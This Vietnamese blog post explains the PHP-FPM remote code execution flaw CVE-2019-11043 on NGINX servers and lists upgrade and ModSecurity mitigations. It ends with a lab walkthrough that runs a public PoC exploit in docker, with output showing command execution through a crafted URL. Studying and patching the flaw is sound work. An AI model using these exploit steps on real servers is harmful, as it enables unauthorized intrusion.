nhat.dev
  • Tin tức
  • Dịch vụ
  • Lập trình
    • ReactJS
    • React Native
    • Angular
    • VueJS
  • Hackintosh
    • Hackintosh
    • Opencore
  • Liên hệ
No Result
View All Result
  • Đăng nhập
logo nhat.dev
  • Tin tức
  • Dịch vụ
  • Lập trình
    • ReactJS
    • React Native
    • Angular
    • VueJS
  • Hackintosh
    • Hackintosh
    • Opencore
  • Liên hệ
No Result
View All Result
nhat.dev
No Result
View All Result
Home Lập trình

Lỗ hổng PHP-FPM (CVE-2019-11043) với máy chủ NGINX

Nhat Tran by Nhat Tran
1 Tháng Mười Một, 2019
Lỗ hổng PHP-FPM (CVE-2019-11043) với máy chủ NGINX
474
SHARES
1.5k
VIEWS
Chia sẻ lên FacebookChia sẻ lên Twitter

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.

Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.

Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường ✌️

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.

Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

  • NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
  • fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
  • Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

  • Upgrade lên phiên bản PHP mới hơn.
  • Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
    • Thêm try_files $uri = 404; vào file config của NGINX.
    • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d

      SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.

https://github.com/theMiddleBlue/CVE-2019-11043

Có thể bạnquan tâm

GIT là gì? Làm chủ GIT với các lệnh cơ bản

15 câu lệnh cần biết khi thao tác với server Linux

JavaScript Memoization là gì? Tối ưu Javascript

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git 
cd CVE-2019-11043 
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!

    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/

Bingo. Vậy là bạn đã có thể remote server rồi.

Tham khảo

  • https://www.nginx.com/blog/php-fpm-cve-2019-11043-vulnerability-nginx/
  • https://github.com/theMiddleBlue/CVE-2019-11043
  • https://paper.seebug.org/1064/
Source: Viblo
Tags: nginxphpphp-fpm
Bài viết trước

An toàn cơ sở dữ liệu và 10 hiểm họa hàng đầu

Bài viết sau

Cách tìm kiếm hiệu quả với Google

Nhat Tran

Nhat Tran

Chia sẻ vài thứ hay ho bản thân tìm hiểu và tìm kiếm được đến mọi người

Bài viết sau
Cách tìm kiếm hiệu quả với Google

Cách tìm kiếm hiệu quả với Google

Subscribe
Notify of
guest
guest
0 Comments
Inline Feedbacks
View all comments

Recommended.

Arachni Scanner – Framework kiểm tra khả năng bảo mật của ứng dụng web

Arachni Scanner – Framework kiểm tra khả năng bảo mật của ứng dụng web

27 Tháng Mười, 2019
Lập trình viên kiếm tiền bằng cách nào?

Lập trình viên… trưởng thành

4 Tháng Chín, 2020

Trending.

Hướng dẫn cài macOS trên Laptop, PC 2019

Hướng dẫn cài macOS trên Laptop, PC 2019

6 Tháng Chín, 2020
Chuẩn bị kiến thức cơ bản trước khi “vọc” hackintosh

Hướng dẫn tạo bộ cài vanilla hackintosh dễ dàng nhất

6 Tháng Ba, 2020
Cách “lách” bản quyền âm thanh và hình ảnh video Youtube 2020

Cách “lách” bản quyền âm thanh và hình ảnh video Youtube 2020

2 Tháng Mười Một, 2020
Chuẩn bị kiến thức cơ bản trước khi “vọc” hackintosh

Phần cứng phù hợp với Hackintosh macOS

30 Tháng Mười Một, 2019
Chuẩn bị kiến thức cơ bản trước khi “vọc” hackintosh

Cài đặt Clover vào ổ cứng sau khi cài macOS

30 Tháng Mười Một, 2019
nhat.dev

© 2019 nhat.dev

Chia sẻ chút kiến thức, kinh nghiệm, thủ thuật mà bản thân đã tìm hiểu và đọc được với mọi người

  • About me
  • Privacy & Policy
  • Advertise
  • Contact

Theo dõi tôi

No Result
View All Result
  • Tin tức
  • Dịch vụ
  • Lập trình
    • ReactJS
    • React Native
    • Angular
    • VueJS
  • Hackintosh
    • Hackintosh
    • Opencore
  • Liên hệ

© 2019 nhat.dev

Xin chào

Sign In with Facebook
OR

Đăng nhập bằng SSO Nhatdev

Quên mật khẩu?

Create New Account!

Fill the forms below to register

All fields are required. Đăng nhập

Lấy lại mật khẩu

Vui lòng nhập tên người dùng hoặc địa chỉ email của bạn để đặt lại mật khẩu của bạn.

Đăng nhập